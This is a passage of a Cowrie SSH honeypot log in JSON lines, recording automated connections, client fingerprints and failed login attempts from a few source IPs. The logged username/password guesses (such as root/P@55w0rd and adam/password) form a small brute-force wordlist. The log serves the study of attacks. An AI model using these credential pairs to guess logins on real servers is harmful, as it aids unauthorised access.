enssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:43:56.946578Z","src_ip":"91.92.40.36","session":"5f888ece8023","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49182,"dst_ip":"10.17.0.5","dst_port":22,"session":"b47644167264","protocol":"ssh","message":"New connection: 91.92.40.36:49182 (10.17.0.5:22) [session: b47644167264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:02.691114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:03.912121Z","src_ip":"91.92.40.36","session":"b47644167264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:03.916085Z","src_ip":"91.92.40.36","session":"b47644167264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27606,"dst_ip":"10.17.0.5","dst_port":22,"session":"befe22cccc48","protocol":"ssh","message":"New connection: 91.92.40.36:27606 (10.17.0.5:22) [session: befe22cccc48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:07.859229Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"@root@","message":"login attempt [root/@root@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:08.798401Z","src_ip":"91.92.40.36","session":"5f888ece8023","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:09.869034Z","src_ip":"91.92.40.36","session":"befe22cccc48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:09.908046Z","src_ip":"91.92.40.36","session":"befe22cccc48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:12.287213Z","src_ip":"91.92.40.36","session":"5f888ece8023","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":59672,"dst_ip":"159.203.135.109","dst_port":22,"session":"581d3de3f449","protocol":"ssh","message":"New connection: 102.210.148.92:59672 (159.203.135.109:22) [session: 581d3de3f449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:13.627469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:13.632279Z","src_ip":"102.210.148.92","session":"581d3de3f449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:13.874234Z","src_ip":"102.210.148.92","session":"581d3de3f449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"12345678","message":"login attempt [es/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:14.875504Z","src_ip":"102.210.148.92","session":"581d3de3f449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"RPM","password":"RPM","message":"login attempt [RPM/RPM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:15.540606Z","src_ip":"91.92.40.36","session":"befe22cccc48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"test123","message":"login attempt [user/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:15.737177Z","src_ip":"91.92.40.36","session":"b47644167264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:16.140046Z","src_ip":"102.210.148.92","session":"581d3de3f449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:17.234714Z","src_ip":"91.92.40.36","session":"befe22cccc48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34956,"dst_ip":"10.17.0.5","dst_port":22,"session":"eec3c030f74b","protocol":"ssh","message":"New connection: 91.92.40.36:34956 (10.17.0.5:22) [session: eec3c030f74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:17.625711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:18.278622Z","src_ip":"91.92.40.36","session":"eec3c030f74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:18.338641Z","src_ip":"91.92.40.36","session":"b47644167264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:18.677728Z","src_ip":"91.92.40.36","session":"eec3c030f74b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"password","message":"login attempt [adam/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:21.678349Z","src_ip":"91.92.40.36","session":"eec3c030f74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:23.764663Z","src_ip":"91.92.40.36","session":"eec3c030f74b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52138,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c2b3a599739","protocol":"ssh","message":"New connection: 91.92.40.36:52138 (10.17.0.5:22) [session: 2c2b3a599739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:27.749005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:28.381444Z","src_ip":"91.92.40.36","session":"2c2b3a599739","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:29.195674Z","src_ip":"91.92.40.36","session":"2c2b3a599739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:33.328578Z","src_ip":"91.92.40.36","session":"2c2b3a599739","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52156,"dst_ip":"10.17.0.5","dst_port":22,"session":"3432a0ad1ed1","protocol":"ssh","message":"New connection: 91.92.40.36:52156 (10.17.0.5:22) [session: 3432a0ad1ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:33.647901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:34.101302Z","src_ip":"91.92.40.36","session":"3432a0ad1ed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:34.104691Z","src_ip":"91.92.40.36","session":"3432a0ad1ed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:35.563410Z","src_ip":"91.92.40.36","session":"2c2b3a599739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"game","password":"game","message":"login attempt [game/game] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:35.753795Z","src_ip":"91.92.40.36","session":"3432a0ad1ed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:37.004396Z","src_ip":"91.92.40.36","session":"3432a0ad1ed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23588,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0cb58fd3cbc","protocol":"ssh","message":"New connection: 91.92.40.36:23588 (10.17.0.5:22) [session: e0cb58fd3cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:42.185371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:43.045680Z","src_ip":"91.92.40.36","session":"e0cb58fd3cbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:43.049518Z","src_ip":"91.92.40.36","session":"e0cb58fd3cbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hades","password":"hades","message":"login attempt [hades/hades] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:46.167569Z","src_ip":"91.92.40.36","session":"e0cb58fd3cbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:47.559887Z","src_ip":"91.92.40.36","session":"e0cb58fd3cbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51460,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a9f86a38eda","protocol":"ssh","message":"New connection: 91.92.40.36:51460 (10.17.0.5:22) [session: 4a9f86a38eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:48.811095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:49.499396Z","src_ip":"91.92.40.36","session":"4a9f86a38eda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:49.502911Z","src_ip":"91.92.40.36","session":"4a9f86a38eda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123","message":"login attempt [testuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:52.736760Z","src_ip":"91.92.40.36","session":"4a9f86a38eda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":35704,"dst_ip":"10.17.0.5","dst_port":22,"session":"c975d57c38b7","protocol":"ssh","message":"New connection: 45.123.217.22:35704 (10.17.0.5:22) [session: c975d57c38b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:44:52.982378Z"}
